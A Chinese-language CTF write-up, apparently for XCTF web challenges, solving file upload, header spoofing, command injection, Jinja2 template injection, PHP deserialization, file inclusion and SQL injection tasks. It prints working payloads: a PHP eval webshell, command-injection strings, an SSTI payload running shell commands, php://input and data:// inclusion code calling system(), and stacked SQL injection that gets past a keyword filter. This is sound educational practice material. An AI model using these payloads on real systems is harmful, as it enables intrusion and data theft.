NewsCenter 题目环境打不开, 暂时鸽.
upload1 查看源码, 发现存在前端校验 .
function check ( ) { upfile = document .getElementById ("upfile" ); submit = document .getElementById ("submit" ); name = upfile.value ; ext = name.replace (/^.+\./ , '' ); if (['jpg' , 'png' ].contains (ext)) { submit.disabled = false ; } else { submit.disabled = true ; alert ('请选择一张图片文件上传!' ); } }
前端校验很好绕过, Burp Suite 抓包修改文件后缀即可 .
PHP 一句话木马:
<?= eval ($_POST ['cmd' ]);?>
保存为 hack.jpg
, 启动 Burp SUite .
打开 Proxy
栏的 Intercept
选项, 然后 Open browser
.
上传文件的时候, 把文件名由 hack.jpg
改为 hack.php
, 再 Forward
.
显示: upload success : upload/1742228565.hack.php
, 看来只有前端校验.
接下来用 菜刀
连接, 启动虚拟终端即可.
Flag 在 /var/www/html/flag.php
中.
(我第一次做的时候, 拿到的flag是 xctf{}
格式, 提交显示错误. 重新开了一个环境才过…)
xff_referer exp:
import requestsurl = "http://61.147.171.105:52452/" resp = requests.get( url = url, headers = { "x-forwarded-for" : "123.123.123.123" , "referer" : "https://www.google.com" } ) resp.encoding = resp.apparent_encoding print (resp.text)
command_execution 通过 &&
连接多个命令.
输入: 127.0.0.1 && find / -name "*flag*"
看到 /home/flag.txt
, 知道这个就是 Flag 了.
再输入 127.0.0.1 && cat /home/flag.txt
即可得到 Flag.
web2 这是题目:
<?php $miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;function encode ($str ) { $_o = strrev ($str ); for ($_0 = 0 ; $_0 < strlen ($_o ); $_0 ++) { $_c = substr ($_o , $_0 , 1 ); $__ = ord ($_c ) + 1 ; $_c = chr ($__ ); $_ = $_ . $_c ; } return str_rot13 (strrev (base64_encode ($_ ))); } highlight_file (__FILE__ );
简单的解密.
exp:
<?php $miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;function encode ($str ) { $_o = strrev ($str ); for ($_0 = 0 ; $_0 < strlen ($_o ); $_0 ++) { $_c = substr ($_o , $_0 , 1 ); $__ = ord ($_c ) + 1 ; $_c = chr ($__ ); $_ = $_ . $_c ; } return str_rot13 (strrev (base64_encode ($_ ))); } function decode ($str ) { $_ = base64_decode (strrev (str_rot13 ($str ))); for ($_0 = 0 ; $_0 < strlen ($_ ); $_0 ++) { $_c = substr ($_ , $_0 , 1 ); $__ = ord ($_c ) - 1 ; $_c = chr ($__ ); $_o = $_o . $_c ; } return strrev ($_o ); } $flag = decode ($miwen );echo $flag ;
Web_python_template_injection 访问 /index.html
, 显示 URL http://61.147.171.105:57178/index.html not found
.
盲猜 URL
处用了 Jinja2 模板引擎, 访问 /{{1+1}}
, 显示 URL http://61.147.171.105:57178/2 not found
, 猜测正确.
万能exp:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" ) }} {% endif %} {% endfor %}
发现 fl4g
, 修改上述代码 cat
一下即可.
Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
Web_php_unserialize <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } public function __destruct ( ) { echo @highlight_file ($this ->file, true ); } public function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } } if (isset ($_GET ['var' ])) { $var = base64_decode ($_GET ['var' ]); if (preg_match ('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize ($var ); } } else { highlight_file ("index.php" ); }
代码解释得很清楚了:
<?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } } $obj = new Demo ('fl4g.php' );$str = serialize ($obj );echo $str , "\n" ;$str = str_replace (':1:' , ':2:' , $str );$str = str_replace ('O:' , 'O:+' , $str );echo base64_encode ($str );
import requestspayload = "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" url = "http://61.147.171.105:58693/" resp = requests.get(url, params={"var" : payload}) print (resp.text)
Flag: ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
php_rce 不会
Web_php_include <?php show_source (__FILE__ );echo $_GET ['hello' ];$page = $_GET ['page' ];while (strstr ($page , "php://" )) { $page = str_replace ("php://" , "" , $page ); } include $page ;
我有两种思路.
第一种, strstr是区分大小写的, 可以构造 PHP://input
来绕过.
import requestsurl = "http://61.147.171.105:53803/?page=PHP://input" resp = requests.post(url, data="<? system(\"ls\"); ?>" ) print (resp.text)''' fl4gisisish3r3.php index.php phpinfo.php ''' resp = requests.post(url, data="<? system(\"cat fl4gisisish3r3.php\"); ?>" ) print (resp.text)''' <?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"; ?> '''
第二种, 除了 php://
外, 还有其它的协议, 其中可以利用的就是 data://
, 它会把用户的输入流当作 php 代码执行.
POC: data://text/plain;base64,<base64编码的php代码>
import requestsimport base64url = "http://61.147.171.105:53803/" src1 = "<? system(\"ls\"); ?>" resp = requests.get( url + "?page=data://text/plain;base64," + base64.b64encode(src1.encode()).decode() ) print (resp.text)''' fl4gisisish3r3.php index.php phpinfo.php ''' src2 = "<? system(\"cat ./fl4gisisish3r3.php\"); ?>" resp = requests.get( url + "?page=data://text/plain;base64," + base64.b64encode(src2.encode()).decode() ) print (resp.text)''' <?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"; ?> '''
supersqli 填入 1'
, 出现如下报错: error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
.
说明存在 SQL 注入漏洞.
sqlmap, 启动!
sqlmap 用法详见 sqlmap 用户手册
step #0: 安装. pip install sqlmap
即可. step #1: 探测注入点. sqlmap -u <url>
. step #2: 查询当前数据库. sqlmap -u <url> --current-db
. 或查询所有数据库. sqlmap -u <url> --dbs
. step #3: 查询数据库表. sqlmap -u <url> -D <数据库名> --tables
. step #4: 列出数据库表字段. sqlmap -u <url> -D <数据库名> -T <表名> --columns
. step #5: 打印数据库表字段内容. sqlmap -u <url> -D <数据库名> -T <表名> --dump
. 或者一把梭:
sqlmap -u <url> -D -T -C --dump --batch --thread 10
然而, 我用 sqlmap
没有注出来…
看来只能手动注了.
先进行 order by 测试:
1' order by 2 #
: 正常输出1' order by 3 #
: 报错
说明只有 2 列.
再试试 union 注入:
1' union select 1,database() #
: return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
爆出了 WAF
. 这下知道为什么 sqlmap
没有注出来了.
试试 堆叠注入:
1'; show databases #
:
array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
那就是简单的查表查字段了.
1' ;show tables from ctftraining #
:
array(1) { [0]=> string(10) "FLAG_TABLE" } array(1) { [0]=> string(4) "news" } array(1) { [0]=> string(5) "users" }
1' ;show columns from ctftraining.FLAG_TABLE #
: 报 WAF, 因为 .
被 ban 了.
有点小难受, 但还是有办法.
1'; use ctftraining; show columns from FLAG_TABLE #
:
array(6) { [0]=> string(11) "FLAG_COLUMN" [1]=> string(12) "varchar(128)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> string(8) "not_flag" [5]=> string(0) "" }
一个一个查就对了.
最终, 输入 0'; show columns from
1919810931114514#
, 发现 flag 字段:
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
但是, select
被 ban 了, 要怎么获取字段中的数据呢?
我的做法是, 把 select
拆开来绕过黑名单. 这就要借助 MySQL 的 PREPARE 语句和 CONCAT 函数了.
POC:
1 '; PREPARE hack from concat(' s', ' elect', ' * from `1919810931114514 `'); EXECUTE hack; #
Result:
array(1) { [0]=> string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}" }
Flag: flag{c168d583ed0d4d7196967b28cbd0b5e9}